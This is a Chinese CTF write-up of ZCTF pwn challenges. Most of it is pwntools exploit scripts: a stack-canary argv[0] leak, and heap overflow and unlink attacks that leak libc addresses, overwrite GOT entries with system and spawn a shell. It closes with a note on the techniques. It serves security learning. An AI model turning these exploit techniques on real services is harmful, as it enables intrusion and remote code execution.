ZCTF-Pwn

2023-08-14 13:27:28

　最近有了点时间，把ZCTF的pwn总结了下，就差最后一个pwn500，另找时间总结。

文件打包：http://files.cnblogs.com/files/wangaohui/attach.zip

Pwn100

很明显栈溢出，但是有canary保护。但是明显的是flag已经被读入了内存。在网上找到了dragonsector写的一个pdf，知道了当__stack_check_fail时，会打印出正在运行中程序的名称，如下：

所以，我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来。POC:

 from pwn import *

 #context.log_level = 'debug'

 s = remote('115.28.206.86',22222)

 s.recvuntil('please guess the flag:')

 payload='ZCTF{'+'A'*(32-5) + '\x00' + 'a'*263 + p64(0x6010C5)

 s.sendline(payload)

 s.recvuntil('***: ')

 flagt = s.recvuntil('\n')[:27]

 flag  = 'ZCTF{'

 for i in flagt:

         flag += chr(ord(i)^ord('A'))

 print flag

 s.close()

Pwn200-note1

 from pwn import *

 #context.log_level = 'debug'

 io = remote('127.0.0.1',10001)

 def new(title, typ, content):

         io.recvuntil('Enter the title:')

         io.sendline(title)

         io.recvuntil('Enter the type:')

         io.sendline(typ)

         io.recvuntil('Enter the content:')

         io.sendline(content)

 def show():

         io.recvuntil('content=')

         io.recvuntil('\n')

         io.recvuntil('title=')

         leak = io.recvuntil(',')

         printfaddr = u64(leak)

         print hex(printfaddr)

 def edit(title, newc):

         io.recvuntil('Input the note title:')

         io.sendline(title)

         io.recvuntil('Enter the new content:')

         io.sendline(newc)

         io.recvuntil('Modify success')

 def delete(title):

         io.recvuntil('Input the note title:')

         io.sendline(title)

         io.recvuntil('Delete success')

 def pwn():

         libcstartoff = 0x21A50

         systemoff = 0x414F0

         io.recvuntil('option--->>')

         io.sendline('')

         new('','aaa','a1a1')

         io.recvuntil('option--->>')

         io.sendline('')

         new('','aaa','a1a1')

         io.recvuntil('option--->>')

         io.sendline('')

         new('','aaa','a1a1')

         payload = 'a'*0x100 + p64(0) + p64(0x171) + p64(0x0) + p64(0x602040-0x70) + '' #p64(0x602018)

         io.recvuntil('option--->>')

         io.sendline('')

         edit('', payload)

         io.recvuntil('option--->>')

         io.sendline('')

         io.recvuntil('content=')

         io.recvuntil('\n')

         io.recvuntil('content=')

         io.recvuntil('\n')

         io.recvuntil('content=')

         libcstart = io.recvuntil('\n')[:-1].ljust(8,'\x00')

         numlibcstart = u64(libcstart)

         print 'leaked libc_start_main addr is  %x' % numlibcstart

         numsys = numlibcstart - libcstartoff + systemoff

         io.recvuntil('option--->>')

         io.sendline('')

         edit('', 'a'*40+p64(numsys))

         io.recvuntil('option--->>')

         io.sendline('/bin/sh;')

         io.interactive()

 pwn()

Pwn400-note2

 from pwn import *

 import time

 #context.log_level = 'debug'

 def new(s,length,content):

         s.sendline('')

         s.recvuntil('(less than 128)')

         s.sendline(str(length))

         s.recvuntil('Input the note content:')

         s.sendline(content)

 def edit(s,idf,c,content):

         s.sendline('')

         s.recvuntil('Input the id of the note:')

         s.sendline(str(idf))

         s.recvuntil('[1.overwrite/2.append]')

         s.sendline(str(c))

         s.sendline(content)

 def dele(s,idf):

         s.sendline('')

         s.sendline(str(idf))

         s.recvuntil('delete note success!')

 def infoleak(s,idf):

         s.sendline('')

         s.recvuntil('Input the id of the note:')

         s.sendline(str(idf))

         s.recvuntil('Content is ')

         return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))

 s= remote('127.0.0.1',10001)

 time.sleep(2)

 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note2')[0])

 raw_input('go!')

 s.recvuntil('Input your name:')

 s.sendline('wah')

 s.recvuntil('Input your address:')

 s.sendline('ucas')

 s.recvuntil('option--->>')

 globalptr = 0x602120

 fakefd = globalptr - 0x18

 fakebk = globalptr - 0x10

 content = 'a'*8

 content += p64(0x91)

 content += p64(fakefd)

 content += p64(fakebk)

 new(s,0x80,content)

 s.recvuntil('option--->>')

 new(s,0x0,'a'*8)

 s.recvuntil('option--->>')

 new(s,0x80,'b'*8)

 s.recvuntil('option--->>')

 dele(s,1)

 s.recvuntil('option--->>')

 content = 'b'*0x10

 content += p64(0xa0)

 content += p64(0x90)

 new(s,0x0,content)

 s.recvuntil('option--->>')

 dele(s,2)

 s.recvuntil('option--->>')

 content = 'a'*0x18 + p64(0x602088)

 edit(s,0,1,content)

 s.recvuntil('option--->>')

 atoiaddr = infoleak(s,0)

 s.recvuntil('option--->>')

 print 'atoi address is ' + hex(atoiaddr)

 systemaddr = atoiaddr - 0x36360 + 0x414F0

 print 'system address is ' + hex(systemaddr)

 content = p64(systemaddr)

 edit(s,0,1,content)

 s.recvuntil('option--->>')

 s.sendline('/bin/sh')

 s.interactive()

 s.close()

Pwn300-note3

 from pwn import *

 import time

 #context.log_level = 'debug'

 def new(s,length,content):

         s.sendline('')

         s.recvuntil('(less than 1024)')

         s.sendline(str(length))

         s.recvuntil('Input the note content:')

         s.sendline(content)

 def edit(s,idf,content):

         s.sendline('')

         s.recvuntil('Input the id of the note:')

         s.sendline(str(idf))

         s.recvuntil('Input the new content:')

         s.sendline(content)

 def dele(s,idf):

         s.sendline('')

         s.recvuntil('Input the id of the note:')

         s.sendline(str(idf))

         s.recvuntil('Delete success')

 def infoleak(s,idf):

         s.sendline('')

         s.recvuntil('Input the id of the note:\n')

         s.sendline(str(idf))

         time.sleep(1)

         return u64(s.recvuntil('\n')[:-1].ljust(8,'\x00'))

 s= remote('127.0.0.1',10001)

 time.sleep(2)

 print 'pid of note2 is :' + str(pwnlib.util.proc.pidof('note3')[0])

 raw_input('go!')

 s.recvuntil('option--->>')

 globalptr = 0x6020C8

 fakefd = globalptr - 0x18

 fakebk = globalptr - 0x10

 content = 'a'*8

 content += p64(0x91)

 content += p64(fakefd)

 content += p64(fakebk)

 new(s,0x80,content)

 s.recvuntil('option--->>')

 new(s,0x0,'a'*8)

 s.recvuntil('option--->>')

 new(s,0x80,'b'*8)

 s.recvuntil('option--->>')

 dele(s,1)

 s.recvuntil('option--->>')

 content = 'b'*0x10

 content += p64(0xa0)

 content += p64(0x90)

 new(s,0x0,content)

 s.recvuntil('option--->>')

 dele(s,2)

 s.recvuntil('option--->>')

 content = 'a'*0x18 + p64(0x602018) + p64(0x602020) + p64(0x602070)

 edit(s,0,content)

 s.recvuntil('option--->>')

 content = p64(0x400736)[:-1]

 edit(s,0,content)

 s.recvuntil('option--->>')

 putsaddr = infoleak(s,1)

 s.recvuntil('option--->>')

 print 'puts address is ' + hex(putsaddr)

 systemaddr = putsaddr - 0x6B9F0 + 0x414F0

 print 'system address is ' + hex(systemaddr)

 content = p64(systemaddr)

 edit(s,2,content)

 s.recvuntil('option--->>')

 s.sendline('/bin/sh')

 s.interactive()

 s.close()

加深了对堆溢出的理解，linux下free时的unlink操作由于有check,并不能达到任意地址写，为了绕过check，能将变量ptr改为&ptr-0x18(64位系统下)，&ptr-0xc(32位系统下)。也学到了一个新的泄漏内存的方法，就是如果能达到任意地址写的话，可以将某个.got.plt项（记为函数A）修改为puts在.plt的位置，这样在调用A时，就能调用puts函数造成信息泄露。Note2和note3都是整数溢出+堆溢出(fastbin+dwshoot)。

码农公寓

Pwn100

Pwn200-note1

Pwn400-note2

Pwn300-note3

相关文章